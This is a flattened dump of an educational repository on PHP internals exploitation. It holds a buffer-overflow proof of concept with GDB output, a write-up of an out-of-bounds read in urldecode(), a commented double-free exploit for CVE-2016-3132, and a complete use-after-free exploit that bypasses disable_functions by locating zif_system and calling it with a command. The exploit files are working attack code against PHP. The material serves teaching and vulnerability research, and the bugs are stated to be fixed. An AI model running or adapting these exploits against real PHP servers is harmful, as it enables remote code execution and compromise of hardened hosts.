``format`` parameter (from the PoC showed in the beginning) is dynamic and its length is determined by the ``$filename`` PHP variable. 55 | If the filename will make the error's length to be greater than 256 bytes, an overflow will occur. 56 | ```php 57 | 61 | ``` 62 | After running the code above, the PHP process crashed. 63 | 64 | The output from GDB can be found below. 65 | 66 | ### GDB Output 67 | 68 | ``` 69 | *** buffer overflow detected ***: /usr/bin/php terminated 70 | ======= Backtrace: ========= 71 | /lib/i386-linux-gnu/libc.so.6(+0x68fce)[0xb789afce] 72 | /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x6b)[0xb793003b] 73 | /lib/i386-linux-gnu/libc.so.6(+0xfceca)[0xb792eeca] 74 | /lib/i386-linux-gnu/libc.so.6(+0xfc628)[0xb792e628] 75 | /lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0x8e)[0xb78a2d9e] 76 | /lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x357a)[0xb7878d8a] 77 | /lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0xb1)[0xb792e6e1] 78 | /usr/lib/php5/20121212+lfs/php_mapscript.so(mapscript_throw_mapserver_exception+0xa9)[0xb3a5b049] 79 | /usr/lib/php5/20121212+lfs/php_mapscript.so(zif_ms_tokenizeMap+0x12e)[0xb3a835de] 80 | /usr/bin/php(execute_internal+0x82)[0x8413672] 81 | /usr/bin/php(dtrace_execute_internal+0x47)[0x834df67] 82 | /usr/bin/php[0x841714d] 83 | /usr/bin/php(execute_ex+0x47)[0x838b127] 84 | /usr/bin/php(dtrace_execute_ex+0x6d)[0x834de5d] 85 | /usr/bin/php(zend_execute+0x1c5)[0x8415225] 86 | /usr/bin/php(zend_eval_stringl+0x29c)[0x835217c] 87 | /usr/bin/php(zend_eval_stringl_ex+0x33)[0x83522c3] 88 | /usr/bin/php(zend_eval_string_ex+0x40)[0x8352340] 89 | /usr/bin/php[0x8419111] 90 | /usr/bin/php(main+0x527)[0x8098ff7] 91 | /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb784baf3] 92 | /usr/bin/php[0x8099082] 93 | ======= Memory map: ======== 94 | 08048000-08876000 r-xp 00000000 08:01 919750 /usr/bin/php5 95 | 08876000-088d7000 r--p 0082d000 08:01 919750 /usr/bin/php5 96 | 088d7000-088de000 rw-p 0088e000 08:01 919750 /usr/bin/php5 97 | 088de000-0907d000 rw-p 00000000 00:00 0 [heap] 98 | aff08000-aff1c000 r-xp 00000000 08:01 920409 /usr/lib/i386-linux-gnu/libexslt.so.0.8.17 99 | /*....*/ 100 | b702b000-b702c000 r--p 00009000 08:01 919747 /usr/lib/i386-linux-gnu/libkrb5support.so.0.1 101 | b702c000-b702d000 rw-p 0000a000 08:01 919747 /usr/lib/i386-linux-gnu/libkrb5support.so.0.1 102 | b702d000-b7030000 r-xp 00000000 08:01 394120 /lib/i386-linux-gnu/libcom_err.so.2.1 103 | Program received signal SIGABRT, Aborted. 104 | 0xb7fdd424 in __kernel_vsyscall () 105 | ``` 106 | 107 | 108 | ## Important Note 109 | * This affect not only the ``ms_tokenizemap()`` PHP function, it affects all of the functions that throws errors with dynamic length. More examples: 110 | ```php 111 | 116 | ``` 117 | which makes the attack surface even bigger. 118 | 119 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP7 Internals - Become a Wizard 2 | Welcome to the PHP Internals Hub - If you ever wondered about how PHP works internally and how you can exploit it: this is where you should start. 3 | 4 | In this repo, I show basic **and** advanced exploitation in PHP (some of the bugs reported by me). In every "chapter", you'll learn a little bit more about PHP Internals from an infosec perspective. 5 | 6 | 7 | > IMPORTANT: This repository does not cover explanations about memory corruption bugs. You have to be **somewhat** familiar with bugs like Format String attacks and Basic Heap Exploitation. 8 | > 9 | > The good news are: you also **don't have to be an expert**. This repo is intended for hackers who solve a lot of crackme challenges but want to step-up their game to a "real-world" binary pwn. 10 | 11 | ## Table of Contents 12 | 13 | I listed out all the interesting bugs in this repo: from the easiest level all the way to *a certified wizard* 14 | 15 | | Level | CVE / Bug | Bug / Description | 16 | |--------------|------------------------------------|----------------------------------------------------------------------------------------------------------| 17 | |                       👶 Easy                                | ``Bug #79383`` | ``ZipArchive::extractTo()`` extracts files with 777 permissions by default | 18 | | 👶 Easy | ``CVE-2020-7066`` | Nullbyte poisoning in ``get_headers()`` | 19 | | 🧐 Medium | ``CVE-2020-7067`` | Out of Bounds Read in ``urldecode()`` | 20 | | 🧗 Intermed. | ``/MapServer-CVEs/CVE-2020-10872``
                                            | Classic Stack-Based Buffer Overflow (Not in PHP, but in a PHP extension) | 21 | | 🧗 Intermed. | ``/MapServer-CVEs/CVE-2020-10873`` | Format String Vulnerabillity (Not in PHP, but in a PHP extension) | 22 | | 💻 Hacker | ``CVE-2018-12882`` | Introduction to UAF & basic structures in PHP | 23 | | ⚔️ Ninja | ``CVE-2016-3132`` | Double-Free vulnerability: In this chapter, you will learn more about the Zend Allocator and how to practically takeover the ``RIP`` register | 24 | | ✨ Wizard | ``Bug #76047`` | In the final chapter, we will see a 0day exploit that was released around Feb 2020 and take a deep-dive into the techniques that the exploit author used in order to trigger a call to ``system()`` | 25 | 26 | >**Disclaimer**: This repository is for educational purposes only. Opinions or points of view expressed in this repository represent the view of the 27 | writer, and does not necessarily represent the official position or policies of the PHP project maintainers. 28 | Nothing in this repository constitutes legal advice. All the bugs presented in this repository were fixed. 29 | 30 | ## Why Should I learn PHP Internals Exploitation? 31 | Learning PHP Internals has a lot more than just remote exploits: 32 | * Some bugs can be exploited by a remote attacker. Like ``unserialize()``, ``mail()``, ``get_headers()`` and more. And in order to really understand them - you'll have to dig into PHP Internals. 33 | * Second thing is: Because the bugs are in the "Zend land", it enables attackers to break any hardened PHP environment (i.e, bypassing ``disable_functions`` and ``open_basedir``. 34 | * If you find memory corruption bugs in Apache, you can trigger those bugs with mod_php and get root shell (since the parent process of apache runs as root), a very cool example is the CARPE DIEM exploit, where @cfreal used a PHP7 0day to trigger a bug he found in Apache's SHM: https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html 35 | * Because this is fu\*\*ing cool ok? Who doesn't want to turn into godmode in PHP? 36 | 37 | ![screenshot1](./images/1.png) 38 | 39 | ready to pwn? 40 | 41 | ![screenshot1](./images/bypassing_disabled_functions.png) 42 | 43 | 44 | ## What about unserialize() ? 45 | 46 | I didn't include the infamous ``unserialize()`` here because a lot of people did it before me & there's bunch of literature about it. The focus here is more about the runtime of PHP & the Zend Engine. Moreover, if you want to understand ``unserialize()`` you'll have to go through the "beginner's phase" and this is exactly what this repo is about: by learning the bugs above you'll find yourself learning about how variables and objects are stored internally and how the memory in PHP is managed (which is **super** important if you're trying to pwn ``unserialize()``). 47 | 48 | Great research material about unserialize: 49 | * Checkpoint's reearch - Yannay Livneh: 50 | - White-paper: https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf 51 | - Talk: https://www.youtube.com/watch?v=_Zj0B4D4TYc 52 | * Black Hat USA Conference(2010) - Stefan Esser (the guy who started this trend of Hacking PHP in the first place) 53 | - Part 1/5: https://www.youtube.com/watch?v=c0ZCe311YW8 54 | - Part 2/5: https://www.youtube.com/watch?v=XP6KpKhDlg0 55 | - Part 3/5: https://www.youtube.com/watch?v=rF9UK4dxtBs 56 | - Part 4/5: https://www.youtube.com/watch?v=etrxFWlv8_0 57 | - Part 5/5: https://www.youtube.com/watch?v=fRno4pGlQzw 58 | - Slides: https://web.archive.org/web/20200116105103/https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf 59 | 60 | ## Contact 61 | 62 | You can find me at [@0x_shaq](https://twitter.com/0x_shaq) -------------------------------------------------------------------------------- /0x03 [CVE-2020-7067] OOB Read/README.md: -------------------------------------------------------------------------------- 1 | # Out-of-Bounds read in ``urldecode()`` 2 | 3 | ## Details 4 | * **Description**: "*In PHP versions 7.2.x below 7.2.30, 7.3.x below 7.3.17 and 7.4.x below 7.4.5, if PHP is compiled with EBCDIC support, ``urldecode()`` function can be made to access locations past the allocated memory, due to erroneously using signed numbers as array indexes.*" - In other words, if you type a negative hex value in a system with EBCDIC encoding enabled, you'll be able to leak memory ✨ 5 | 6 | * **CVSS3 Score**: 7.5 high 7 | 8 | ## Impact / Threat 9 | This bug requires the vulnerable server to enable EBCDIC encoding, so it mainly affects Mainframe systems(yuck!) **and** possibly some flavors of IBM Cloud Instances which runs PHP (IBM created this encoding so they have support in their cloud environment environment as well. It was found to be enabled in cloud "flavors" such as *Linux z/OS*. References: [[#1]](https://cloud.ibm.com/docs/runtimes/php?topic=PHP-getting_started), [[#2]](https://www.ibm.com/support/knowledgecenter/zosbasics/com.ibm.zos.zappldev/zappldev_14.htm), [[#3]](https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.gxla100/encodesupport.htm)). 10 | 11 | 12 | ## The bug / Exploitation 13 | 14 | This is the source code of ``urldecode()``: 15 | 16 | [ext/standard/url.c](http://git.php.net/?p=php-src.git;a=blob;f=ext/standard/url.c;h=fe6d7f9de1d69eaafd577518d92d899feb7145b0;hb=fe6d7f9de1d69eaafd577518d92d899feb7145b0#l548) @ line 548 17 | 18 | ```c 19 | /* {{{ php_url_decode 20 | */ 21 | PHPAPI size_t php_url_decode(char *str, size_t len) 22 | { 23 | char *dest = str; 24 | char *data = str; 25 | 26 | while (len--) { 27 | if (*data == '+') { 28 | *dest = ' '; 29 | } 30 | else if (*data == '%' && len >= 2 && isxdigit((int) *(data + 1)) 31 | && isxdigit((int) *(data + 2))) { 32 | #ifndef CHARSET_EBCDIC 33 | *dest = (char) php_htoi(data + 1); 34 | #else 35 | *dest = os_toebcdic[(char) php_htoi(data + 1)]; 36 | #endif 37 | data += 2; 38 | len -= 2; 39 | } else { 40 | *dest = *data; 41 | } 42 | data++; 43 | dest++; 44 | } 45 | *dest = '\0'; 46 | return dest - str; 47 | } 48 | 49 | ``` 50 | 51 | If ``CHARSET_EBCDIC`` is defined (usually, on systems with EBCDIC encoding support), an Out-of-Bounds Read can occur. 52 | 53 | Let's focus on the relevant parts of the function: 54 | ```c 55 | PHPAPI size_t php_url_decode(char *str, size_t len) 56 | { 57 | char *dest = str; 58 | char *data = str; 59 | /*...more code...*/ 60 | 61 | #ifndef CHARSET_EBCDIC 62 | *dest = (char) php_htoi(data + 1); 63 | #else 64 | *dest = os_toebcdic[(char) php_htoi(data + 1)]; // <--- oob read here 65 | #endif 66 | 67 | /* ... more code ... */ 68 | ``` 69 | * ``os_toebcdic[256]`` is an array(or a map, i assume) used for decoding purposes. 70 | * To convert the string input into hex values, PHP uses ``php_htoi()`` and then convert the result into a signed byte(char). 71 | * This signed number is then provided as an index to the ``os_toebcdic[]`` array. 72 | * There will be no OOB Read after the buffer because the max value of a byte is 0xff (==256), which is the same size as the ``os_toebcdic[]`` 73 | * However, the casting (in the second bullet) is done to a ``char`` and not an ``unsigned char``, which means that we can insert **negative hex values** to leak values that are found in the memory **BEFORE** our buffer. 74 | 75 | 76 | 77 | 78 | payload: 79 | ```php 80 | 83 | ``` 84 | 85 | in gdb: 86 | 87 | ``` 88 | gdb-peda$ call php_htoi(data+1) 89 | $42 = 0xfd 90 | 91 | gdb-peda$ p/d (char)$42 92 | $43 = -3 93 | ``` 94 | The array index is negative an memory will be leaked via the returned value of PHP's ``urldecode()`` 95 | 96 | ## Understanding the Concept 97 | 98 | Let's take the following example program: 99 | ```c 100 | #include 101 | 102 | int main() 103 | { 104 | char text[255] = "ABCD"; 105 | char buf[] = "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"; // not used in the program 106 | 107 | char c = 0xfc; // signed char, can contain negative values (from -128 to 255) 108 | 109 | printf("%x", text[c]); // text[-3] 110 | return 0; 111 | } 112 | ``` 113 | 114 | We are using ``c`` as an index specifier to ``text`` and print the value in hex. 115 | 116 | The expected output will be a character from the ``text[]`` array, maybe A(``0x41``) or B(``0x42``), or maybe C(``0x43``), etc. Even if the attacker will manage to read **after** ``D``, he will not be able to read the contents of what is after ``text[255]`` in memory (because the maximum size of ``char c`` is 255). So what do we do? insert a negative value :D 117 | 118 | The actual output is: ``0x51``, which is Q, and belongs to anohter variable in the program (``buf``). 119 | It happens when an array index specifier is set to a negative value. In our case, ``c`` was set to ``0xfc`` (which is ``-3`` in dec) 120 | 121 | In the following hexdump, you can see that ``buf`` is found right before our ``text[]`` array in the memory: 122 | ``` 123 | gdb-peda$ hexdump &buf 124 | 125 | +0000 0xbffff4c5 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 │QQQQ│QQQQ│QQQQ│QQQQ│ 126 | ... 127 | +0020 0xbffff4e5 51 51 51 51 51 51 51 51 51 51 00 41 42 43 44 00 │QQQQ│QQQQ│QQ.A│BCD.│ 128 | +0030 0xbffff4f5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ 129 | pwndbg> 130 | +0040 0xbffff505 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ 131 | ... 132 | ``` 133 | 134 | Hence, we jumped "backwards" when we inserted negative values in the array index specifier. 135 | 136 | ## The Fix 137 | 138 | The PHP Development team turned the array index specifier to be an ``unsigned char`` to avoid negative values in array index specifiers. 139 | 140 | Same issue was found in ``php_raw_url_decode`` 141 | 142 | The commit: http://git.php.net/?p=php-src.git;a=blobdiff;f=ext/standard/url.c;h=1dd073e2bb423652821f351135b9582d76e175d5;hp=fe6d7f9de1d69eaafd577518d92d899feb7145b0;hb=9d6bf8221b05f86ce5875832f0f646c4c1f218be;hpb=14fcc813948254b84f382ff537247d8a7e5e0e62 143 | 144 | ![screenshot](./res/fix.png) 145 | 146 | 147 | >Original report #79465: https://bugs.php.net/bug.php?id=79465&edit=2 -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/PoC.php: -------------------------------------------------------------------------------- 1 | This exploit was originally written by Emmanuel Law <---- 4 | * 5 | * Tested on a docker image of PHP v7.0.4 6 | * Uname: Linux cb880fa79813 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 x86_64 GNU/Linux 7 | * PHP Version: PHP 7.0.4 (cli) (built: Mar 19 2016 00:21:33) ( NTS ) 8 | * -------------- 9 | * In this "version" of the exploit, I took the original code and added helpful comments. 10 | * I also added the meaning of the offsets & beautified the code because the 11 | * original exploit had parts that I found difficult to understand as a beginner(mainly offsets & the way he jumped around in memory). 12 | * 13 | * The original exploit(mirror): https://pastebin.com/raw/hLvtZkbt 14 | * Bug report: https://bugs.php.net/bug.php?id=71735 15 | * Write-up & Original Exploit: http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist 16 | * 17 | * How to read this thing: Start reading at "====[ START OF MAIN ]====" and from there, follow the comments. 18 | * 19 | */ 20 | # ====================== [HELPER FUNCTIONS] ====================== 21 | function read_ptr(&$mystring,$index=0) { 22 | return hexdec( 23 | dechex(ord($mystring[$index+7])). 24 | dechex(ord($mystring[$index+6])). 25 | dechex(ord($mystring[$index+5])). 26 | dechex(ord($mystring[$index+4])). 27 | dechex(ord($mystring[$index+3])). 28 | dechex(ord($mystring[$index+2])). 29 | dechex(ord($mystring[$index+1])). 30 | dechex(ord($mystring[$index+0]))); 31 | } 32 | 33 | function write_ptr(&$mystring,$value,$index=0) { 34 | $mystring[$index]=chr($value&0xFF); 35 | $mystring[$index+1]=chr(($value>>8)&0xFF); 36 | $mystring[$index+2]=chr(($value>>16)&0xFF); 37 | $mystring[$index+3]=chr(($value>>24)&0xFF); 38 | $mystring[$index+4]=chr(($value>>32)&0xFF); 39 | $mystring[$index+5]=chr(($value>>40)&0xFF); 40 | $mystring[$index+6]=chr(($value>>48)&0xFF); 41 | $mystring[$index+7]=chr(($value>>56)&0xFF); 42 | } 43 | 44 | # ====================== [/HELPER FUNCTIONS] ====================== 45 | 46 | /* 47 | 48 | typedef struct _spl_array_object { 49 | zval array; 50 | uint32_t ht_iter; 51 | int ar_flags; 52 | unsigned char nApplyCount; 53 | zend_function *fptr_offset_get; +-------------------------------------------------- 54 | zend_function *fptr_offset_set; | This value shares the same offset of zend_string.len 55 | zend_function *fptr_offset_has; | by default it's 0. If we make it to be a large value, 56 | zend_function *fptr_offset_del; // <----------+ we can get arbitrary read/write on the heap. 57 | zend_function *fptr_count; | To do this we will create child object and create an 58 | zend_class_entry* ce_get_iterator; | offsetUnset method. It will make fptr_offset_del to 59 | zend_object std; | be a very large value because it's a pointer to an somewhere 60 | } spl_array_object; | in memory 61 | +-------------------------------------------------- 62 | */ // ^ 63 | // | 64 | class SplFixedArray2 extends SplFixedArray { // creating a child object + 65 | public function offsetSet($offset, $value) {} 66 | public function offsetUnset($offset) { // this is where we make spl_array_object.fptr_offset_del to be a large value 67 | parent::offsetUnset($offset); 68 | } 69 | } 70 | 71 | function exception_handler($exception) { 72 | global $z; /* at this point, the double-free has occured 73 | * and Bin number #12 on the heap points to itself (the 74 | * zend memory manager stores bins in a singly-linked list) 75 | * 76 | * Chunk3 ------+ Chunk2 -----> Chunk1 ----> 0x0 77 | * ^ | 78 | * | | 79 | * +-----------+ 80 | */ 81 | 82 | $s=str_repeat('C',0x48); // we allocate a string of length 0x48 in order to make it land on the 12th bin 83 | $t=new SplFixedArray2(5); // 2nd allocation in bin #12 again 84 | /* Now $s and $t are sharing the same memory address, but PHP treats them differently: 85 | > $s will be a zend_string 86 | > $t will be spl_array_object 87 | */ 88 | 89 | /* 90 | * We will use $s to read/write in memory. But first, we will have to overcome 91 | * ASLR and find exactly where we are in memory if we want to start calculating offsets. 92 | * To do that, we will unset the neighbor objects $z[22] and $z[21] 93 | * 94 | * When freeing a chunk, the Zend Memory Manager will make the first 8 bytes of the chunk 95 | * To point to the next free chunk. The address will be stored in PHP's heap as a "free slot" 96 | 97 | struct _zend_mm_free_slot { 98 | zend_mm_free_slot *next_free_slot; 99 | }; 100 | 101 | * Which means, that the first 8 bytes of $z[21] will contain the address of $z[20] 102 | * Because this is the next free chunk. 103 | */ 104 | 105 | unset($z[22]); 106 | unset($z[21]); 107 | 108 | /* 109 | * Due to this free (above), the first 8 bytes of the 21st SPLFixedArray chunk now points 110 | * to the 22nd SPLFixedArray memory chunk. By using $s to read into the first 8 bytes of 111 | * the 21st SplFixedArray object, you can figure out the exact memory address of where you are in memory. 112 | */ 113 | 114 | $heap_addr=read_ptr($s,0x58); // Getting the first 8 bytes of $z[21], this will be the address of $z[22] 115 | print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; 116 | $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300; /* -0x70 = this is the distance between every SPL Object in the $z array / HashTable, we're going 2 elements backwards. 117 | * +0x18 = Adjusting the offset 118 | * +0x300 = We jump somewhere far away in memory(6 elements forward in the array. It's six because 0x300/0x70=0x6) 119 | * to place our malicious handler. 120 | * We don't need to worry about accidently overwiting something that will 121 | * break the program because: earlier, in the beginning of the PHP script, 122 | * we created continuous memory block using a for() loop and sprayed the heap. 123 | * This allows us to corrupt memory without breaking other things on the way. 124 | */ 125 | 126 | print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n"; 127 | 128 | //Set Handlers 129 | write_ptr($s,$heap_addr_of_fake_handler,0x40); // set fake handler 130 | write_ptr($s,0x40,0x300); // handler.offset 131 | write_ptr($s,0x4141414141414141,0x308); // handler.free_obj 132 | write_ptr($s,0xdeadbeef,0x310); // handler.dtor.obj 133 | str_repeat('z',5); 134 | unset($t); // PHP will try to destroy this object by calling handler.dtor.obj 135 | // The thing PHP doesn't know is that we modified it to be 0xdeadbeef :) 136 | } 137 | 138 | 139 | /* ===================================[ START OF MAIN ] =============================== */ 140 | 141 | 142 | set_exception_handler('exception_handler'); 143 | $var_1=new SplStack(); 144 | $z=array(); 145 | 146 | //Heap management 147 | for ($x=0;$x<100;$x++) { 148 | $z[$x]=new SplFixedArray(5); // creating a contiguous chunk of memory using a loop 149 | } 150 | 151 | 152 | unset($z[20]); // we're unsetting this since later in this exploit, $t and $s will occupy the address of $z[20] 153 | $var_1->offsetSet(0,new SplFixedArray); // triggering the double-free 154 | // now, PHP will throw a fatal error and will try to exit. But instead of exiting, we will continue 155 | // to execute more code using the exception_handler() function right before PHP kills itself 156 | 157 | // line 72 in this script will be executed next. 158 | /* =====================================[ END OF MAIN ] =============================== */ 159 | 160 | 161 | ?> -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/exploit.php: -------------------------------------------------------------------------------- 1 | a); 32 | $backtrace = (new Exception)->getTrace(); # ;) 33 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 34 | $backtrace = debug_backtrace(); 35 | } 36 | } 37 | } 38 | 39 | class Helper { 40 | public $a, $b, $c, $d; 41 | } 42 | 43 | function str2ptr(&$str, $p = 0, $s = 8) { 44 | $address = 0; 45 | for($j = $s-1; $j >= 0; $j--) { 46 | $address <<= 8; 47 | $address |= ord($str[$p+$j]); 48 | } 49 | return $address; 50 | } 51 | 52 | function write(&$str, $p, $v, $n = 8) { 53 | $i = 0; 54 | for($i = 0; $i < $n; $i++) { 55 | $str[$p + $i] = chr($v & 0xff); 56 | $v >>= 8; 57 | } 58 | } 59 | 60 | function leak($addr, $p = 0, $s = 8) { 61 | global $abc, $helper; 62 | write($abc, 0x68, $addr + $p - 0x10); 63 | $leak = strlen($helper->a); 64 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 65 | return $leak; 66 | } 67 | 68 | function parse_elf($base) { 69 | $e_type = leak($base, 0x10, 2); 70 | 71 | $e_phoff = leak($base, 0x20); 72 | $e_phentsize = leak($base, 0x36, 2); 73 | $e_phnum = leak($base, 0x38, 2); 74 | 75 | for($i = 0; $i < $e_phnum; $i++) { 76 | $header = $base + $e_phoff + $i * $e_phentsize; 77 | $p_type = leak($header, 0, 4); 78 | $p_flags = leak($header, 4, 4); 79 | $p_vaddr = leak($header, 0x10); 80 | $p_memsz = leak($header, 0x28); 81 | 82 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 83 | # handle pie 84 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 85 | $data_size = $p_memsz; 86 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 87 | $text_size = $p_memsz; 88 | } 89 | } 90 | 91 | if(!$data_addr || !$text_size || !$data_size) 92 | return false; 93 | 94 | return [$data_addr, $text_size, $data_size]; 95 | } 96 | 97 | function get_basic_funcs($base, $elf) { # scanning the memory until we find basic_functions_module->functions 98 | list($data_addr, $text_size, $data_size) = $elf; 99 | for($i = 0; $i < $data_size / 8; $i++) { 100 | $leak = leak($data_addr, $i * 8); 101 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 102 | $deref = leak($leak); 103 | # 'constant' constant check 104 | if($deref != 0x746e6174736e6f63) 105 | continue; 106 | } else continue; 107 | 108 | $leak = leak($data_addr, ($i + 4) * 8); 109 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 110 | $deref = leak($leak); 111 | # 'bin2hex' constant check 112 | if($deref != 0x786568326e6962) 113 | continue; 114 | } else continue; 115 | 116 | return $data_addr + $i * 8; 117 | } 118 | } 119 | 120 | function get_binary_base($binary_leak) { # scanning the memory until we find the ELF header 121 | $base = 0; 122 | $start = $binary_leak & 0xfffffffffffff000; 123 | for($i = 0; $i < 0x1000; $i++) { 124 | $addr = $start - 0x1000 * $i; 125 | $leak = leak($addr, 0, 7); 126 | if($leak == 0x10102464c457f) { # ELF header 127 | return $addr; 128 | } 129 | } 130 | } 131 | 132 | function get_system($basic_funcs) { # iterating through basic_functions_module->functions[] 133 | $addr = $basic_funcs; 134 | do { 135 | $f_entry = leak($addr); 136 | $f_name = leak($f_entry, 0, 6); 137 | 138 | if($f_name == 0x6d6574737973) { # 0x6d6574737973 is 'system' in little endian 139 | return leak($addr + 8); # return the handler of the basic func (address of zif_system) 140 | } 141 | $addr += 0x20; # jumping to the next index in the basic funcs array 142 | } while($f_entry != 0); 143 | return false; 144 | } 145 | 146 | function trigger_uaf($arg) { 147 | # str_shuffle prevents opcache string interning 148 | $arg = str_shuffle(str_repeat('A', 79)); # allocating 0x68 byte chunk 149 | $vuln = new Vuln(); 150 | $vuln->a = $arg; 151 | } 152 | 153 | if(stristr(PHP_OS, 'WIN')) { 154 | die('This PoC is for *nix systems only.'); 155 | } 156 | 157 | $n_alloc = 10; # increase this value if UAF fails 158 | $contiguous = []; 159 | for($i = 0; $i < $n_alloc; $i++) 160 | $contiguous[] = str_shuffle(str_repeat('A', 79)); 161 | 162 | 163 | # ============================== [ END OF UTILS SECTION ] ============================= 164 | 165 | # ============================== [ START OF EXPLOITATION PART ] ============================= 166 | 167 | trigger_uaf('x'); # triggering the bug 168 | $abc = $backtrace[1]['args'][0]; # putting our uaf'd zend_string into $abc 169 | 170 | $helper = new Helper; # catching $abc's memory with a Helper object 171 | 172 | # // setting values like 0x1336, 0x1337 for debugging purposes (it's easier to identify the object in memory dumps if it has known values) 173 | $helper->a = 0x1336; # zend_object->properties_table[0] 174 | $helper->b = function ($x) { }; # zend_object->properties_table[1] <---- we will turn this into system() soon 175 | $helper->c = 0x1337; # zend_object->properties_table[2] 176 | $helper->d = 0x1338; 177 | 178 | if(strlen($abc) == 79 || strlen($abc) == 0) { 179 | die("UAF failed"); 180 | } 181 | 182 | # leaks 183 | $php_heap = str2ptr($abc, 0x58); # leaking an addr from the heap 184 | $abc_addr = $php_heap - 0xc8; # calculating the offset to get $abc's address (specifically, the zend_string.val field) 185 | 186 | # put a fake zend_reference somewhere in the heap after the $helper object 187 | write($abc, 0x60, 2); # writing a gc field 188 | write($abc, 0x70, 6); # writing a type field ( 6 == IS_STRING ) 189 | 190 | # creating a fake reference to the malicious zend_reference we instantiated above(lines 187-188) 191 | write($abc, 0x10, $abc_addr + 0x60); # overwriting $helper->a (we are overwriting zval.value) 192 | write($abc, 0x18, 0xa); # overwriting $helper->a (we are overwriting its type, changing it to be 0xa, or 10 in decimal, which is IS_REFERENCE) 193 | 194 | 195 | $closure_handlers = str2ptr($abc, 0); # 0xef6dc0 196 | $binary_leak = leak($closure_handlers, 8); # dereference std_object_handlers + 8 197 | if(!($base = get_binary_base($binary_leak))) { # getting the base addr 198 | die("Couldn't determine binary base address"); 199 | } 200 | 201 | if(!($elf = parse_elf($base))) { # getting information about the segments 202 | die("Couldn't parse ELF header"); 203 | } 204 | 205 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { # using $base and $elf, we're getting the address of basic_functions_module->functions 206 | die("Couldn't get basic_functions address"); 207 | } 208 | 209 | if(!($zif_system = get_system($basic_funcs))) { # getting zif_system addr 210 | die("Couldn't get zif_system address"); 211 | } 212 | 213 | # fake closure object 214 | $closure_obj = str2ptr($abc, 0x20); # leaking the address of the zend_closure we stored in $helper->b in line 174 215 | $fake_obj_offset = 0xd0; # this offset will make us land after the $helper object but also not too far to break things & crash 216 | for($i = 0; $i < 0x110; $i += 8) { # creating a copy of $helper->b at offset 0xd0 217 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 218 | } 219 | 220 | # making $helper->b to point to the fresh copy we created above 221 | write($abc, 0x20, $abc_addr + $fake_obj_offset); 222 | 223 | # overwriting some of the data in our copy 224 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type 225 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 226 | 227 | # pwn 228 | ($helper->b)($cmd); 229 | exit(); 230 | 231 | # ============================== [ END OF EXPLOITATION PART ] ============================= 232 | 233 | } 234 | 235 | ?> -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## The bug / CVE-2018-12882 3 | 4 | > PHP Version: 7.2 through 7.2.6 (and possibly 7.2.7) 5 | 6 | PHP's ``exif_read_data()`` function was found to be vulnerable to *use-after-free*. When supplying an invalid file handle as parameter, the zend engine free's the [resource](https://www.php.net/manual/en/language.types.resource.php) but not unsetting the PHP variable, which causes the variable to be a "dangling pointer" to a free memory area. This is a classic use-after-free case. Our exploit should look something like this: 7 | 8 | ```php 9 | 14 | ``` 15 | At this point, ``$r`` and ``$s`` share the same memory location but PHP treats them differently ( ``$r`` is a ``zend_resource``, and ``$s`` is a ``zend_string``). 16 | 17 | Because they share the same memory address but have different structures/memory layout: every modification in one of them can cause a memory corruption at the other :D 18 | 19 | But before we continue, you'll have to learn about how PHP variables are represented internally. Keep reading. 20 | 21 | ## The ``zval`` 22 | 23 | A ``zval`` (“Zend value”) represents a value in PHP. This is the "container" of a PHP variable. As such it is likely the most important structure in all of PHP and you’ll be working with it a lot. 24 | 25 | If you know basic programming in PHP, you probably noticed that PHP is a loosely typed language. 26 | 27 | A loosely typed language such as PHP is a language that does not require you to choose a type for a variable (char, int, float, etc.) **and** it also allows you to change the type of the variable **after** you assigned a value to it. For example: I can create a ``$string`` variable with a string in it, and then change its value to be an integer: 28 | 29 | ```php 30 | 34 | ``` 35 | In other languages such as C / C++ / C# if we will try to do something like: 36 | ``` 37 | char str[] = "hello!"; // create a string / char array 38 | str = 1; // then, treat it like if it was an int variable 39 | ``` 40 | we will get a type error. 41 | 42 | 43 | ![screenshot1](./images/type_error.png) 44 | 45 | ### **"But PHP is written in C, and C is a strongly typed language. How does it make sense?"** 46 | 47 | I'm glad you asked. This is where the ``zval`` comes into the picture. Every variable you create in PHP's "user land" is assigned to a ``zval`` structure: 48 | 49 | ![screenshot1](./images/zval_struct.png) 50 | 51 | Don't be afraid, we will focus on the ones in red: 52 | 53 | * ``zend_uchar 